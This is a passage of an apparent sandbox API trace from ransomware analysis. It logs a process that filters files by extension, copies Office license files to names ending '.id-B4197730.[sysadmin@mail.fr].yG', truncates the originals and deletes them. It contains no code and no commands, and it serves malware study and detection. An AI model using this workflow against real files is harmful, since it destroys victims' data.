	[0161.069] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0161.069] lstrlenW (lpString=".xls") returned 4
	[0161.069] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0161.069] lstrlenW (lpString=".xlsx") returned 5
	[0161.069] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0161.069] lstrlenW (lpString=".ppt") returned 4
	[0161.069] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0161.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0161.069] lstrlenW (lpString=".zip") returned 4
	[0161.069] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0161.069] lstrlenW (lpString=".rar") returned 4
	[0161.069] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0161.069] lstrlenW (lpString=".bz2") returned 4
	[0161.069] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0161.069] lstrlenW (lpString=".7z") returned 3
	[0161.069] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0161.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0161.070] lstrlenW (lpString=".dbf") returned 4
	[0161.070] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0161.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0161.070] lstrlenW (lpString=".1cd") returned 4
	[0161.070] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0161.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0161.070] lstrlenW (lpString=".jpg") returned 4
	[0161.070] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0161.070] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0161.070] lstrlenW (lpString="AccessR_OEM_Perp-pl.xrm-ms") returned 26
	[0161.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0161.071] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=10639) returned 1
	[0161.071] CloseHandle (hObject=0x544) returned 1
	[0161.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 0x220
	[0161.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0161.102] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.102] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0161.103] GetLastError () returned 0x0
	[0161.103] ReadFile (in: hFile=0x540, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x298f, lpOverlapped=0x0) returned 1
	[0161.105] WriteFile (in: hFile=0x4a4, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2990, lpOverlapped=0x0) returned 1
	[0161.106] ReadFile (in: hFile=0x540, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.106] WriteFile (in: hFile=0x4a4, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x108, lpOverlapped=0x0) returned 1
	[0161.107] SetEndOfFile (hFile=0x4a4) returned 1
	[0161.107] CloseHandle (hObject=0x4a4) returned 1
	[0161.107] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.107] SetEndOfFile (hFile=0x540) returned 1
	[0161.132] CloseHandle (hObject=0x540) returned 1
	[0161.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.133] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 1
	[0161.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0161.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0161.134] lstrlenW (lpString=".doc") returned 4
	[0161.134] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.134] lstrlenW (lpString=".docx") returned 5
	[0161.134] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.134] lstrlenW (lpString=".pdf") returned 4
	[0161.134] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.134] lstrlenW (lpString=".xls") returned 4
	[0161.134] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.134] lstrlenW (lpString=".xlsx") returned 5
	[0161.134] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.134] lstrlenW (lpString=".ppt") returned 4
	[0161.134] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0161.134] lstrlenW (lpString=".zip") returned 4
	[0161.134] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.134] lstrlenW (lpString=".rar") returned 4
	[0161.135] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.135] lstrlenW (lpString=".bz2") returned 4
	[0161.135] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.135] lstrlenW (lpString=".7z") returned 3
	[0161.135] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0161.135] lstrlenW (lpString=".dbf") returned 4
	[0161.135] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0161.135] lstrlenW (lpString=".1cd") returned 4
	[0161.135] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0161.135] lstrlenW (lpString=".jpg") returned 4
	[0161.135] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0161.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0161.135] lstrlenW (lpString=".doc") returned 4
	[0161.135] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.135] lstrlenW (lpString=".docx") returned 5
	[0161.135] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.136] lstrlenW (lpString=".pdf") returned 4
	[0161.136] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.136] lstrlenW (lpString=".xls") returned 4
	[0161.136] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.136] lstrlenW (lpString=".xlsx") returned 5
	[0161.136] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.136] lstrlenW (lpString=".ppt") returned 4
	[0161.136] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0161.136] lstrlenW (lpString=".zip") returned 4
	[0161.136] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.136] lstrlenW (lpString=".rar") returned 4
	[0161.136] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.136] lstrlenW (lpString=".bz2") returned 4
	[0161.136] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.136] lstrlenW (lpString=".7z") returned 3
	[0161.136] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0161.136] lstrlenW (lpString=".dbf") returned 4
	[0161.136] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0161.137] lstrlenW (lpString=".1cd") returned 4
	[0161.137] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0161.137] lstrlenW (lpString=".jpg") returned 4
	[0161.137] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.137] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0161.137] lstrlenW (lpString="AccessR_OEM_Perp-ppd.xrm-ms") returned 27
	[0161.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0161.139] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=20780) returned 1
	[0161.139] CloseHandle (hObject=0x4a4) returned 1
	[0161.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 0x220
	[0161.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0161.140] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.140] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0161.144] GetLastError () returned 0x0
	[0161.144] ReadFile (in: hFile=0x4a4, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x512c, lpOverlapped=0x0) returned 1
	[0161.193] WriteFile (in: hFile=0x544, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x5130, lpOverlapped=0x0) returned 1
	[0161.195] ReadFile (in: hFile=0x4a4, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.195] WriteFile (in: hFile=0x544, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0161.195] SetEndOfFile (hFile=0x544) returned 1
	[0161.196] CloseHandle (hObject=0x544) returned 1
	[0161.196] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.196] SetEndOfFile (hFile=0x4a4) returned 1
	[0161.202] CloseHandle (hObject=0x4a4) returned 1
	[0161.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 1
	[0161.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0161.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0161.204] lstrlenW (lpString=".doc") returned 4
	[0161.204] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.204] lstrlenW (lpString=".docx") returned 5
	[0161.204] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.204] lstrlenW (lpString=".pdf") returned 4
	[0161.204] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.204] lstrlenW (lpString=".xls") returned 4
	[0161.204] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.204] lstrlenW (lpString=".xlsx") returned 5
	[0161.204] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.204] lstrlenW (lpString=".ppt") returned 4
	[0161.204] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0161.204] lstrlenW (lpString=".zip") returned 4
	[0161.204] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.204] lstrlenW (lpString=".rar") returned 4
	[0161.204] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.204] lstrlenW (lpString=".bz2") returned 4
	[0161.204] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.204] lstrlenW (lpString=".7z") returned 3
	[0161.204] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0161.204] lstrlenW (lpString=".dbf") returned 4
	[0161.205] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0161.205] lstrlenW (lpString=".1cd") returned 4
	[0161.205] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0161.205] lstrlenW (lpString=".jpg") returned 4
	[0161.205] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0161.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0161.205] lstrlenW (lpString=".doc") returned 4
	[0161.205] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.205] lstrlenW (lpString=".docx") returned 5
	[0161.205] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.205] lstrlenW (lpString=".pdf") returned 4
	[0161.205] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.205] lstrlenW (lpString=".xls") returned 4
	[0161.205] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.206] lstrlenW (lpString=".xlsx") returned 5
	[0161.206] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.206] lstrlenW (lpString=".ppt") returned 4
	[0161.206] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0161.206] lstrlenW (lpString=".zip") returned 4
	[0161.206] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.206] lstrlenW (lpString=".rar") returned 4
	[0161.206] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.206] lstrlenW (lpString=".bz2") returned 4
	[0161.206] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.206] lstrlenW (lpString=".7z") returned 3
	[0161.206] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0161.206] lstrlenW (lpString=".dbf") returned 4
	[0161.206] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0161.206] lstrlenW (lpString=".1cd") returned 4
	[0161.206] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0161.206] lstrlenW (lpString=".jpg") returned 4
	[0161.206] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.207] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0161.207] lstrlenW (lpString="AccessR_OEM_Perp-ul-oob.xrm-ms") returned 30
	[0161.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0161.208] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11587) returned 1
	[0161.209] CloseHandle (hObject=0x4a4) returned 1
	[0161.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0161.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0161.209] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.210] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0161.211] GetLastError () returned 0x0
	[0161.211] ReadFile (in: hFile=0x4a4, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2d43, lpOverlapped=0x0) returned 1
	[0161.241] WriteFile (in: hFile=0x544, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0161.242] ReadFile (in: hFile=0x4a4, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.242] WriteFile (in: hFile=0x544, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x110, lpOverlapped=0x0) returned 1
	[0161.242] SetEndOfFile (hFile=0x544) returned 1
	[0161.243] CloseHandle (hObject=0x544) returned 1
	[0161.243] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.243] SetEndOfFile (hFile=0x4a4) returned 1
	[0161.246] CloseHandle (hObject=0x4a4) returned 1
	[0161.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 1
	[0161.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0161.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0161.248] lstrlenW (lpString=".doc") returned 4
	[0161.248] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.248] lstrlenW (lpString=".docx") returned 5
	[0161.248] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.248] lstrlenW (lpString=".pdf") returned 4
	[0161.248] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.248] lstrlenW (lpString=".xls") returned 4
	[0161.248] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.249] lstrlenW (lpString=".xlsx") returned 5
	[0161.249] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.249] lstrlenW (lpString=".ppt") returned 4
	[0161.249] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0161.249] lstrlenW (lpString=".zip") returned 4
	[0161.249] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.249] lstrlenW (lpString=".rar") returned 4
	[0161.249] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.249] lstrlenW (lpString=".bz2") returned 4
	[0161.249] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.249] lstrlenW (lpString=".7z") returned 3
	[0161.249] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0161.249] lstrlenW (lpString=".dbf") returned 4
	[0161.249] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
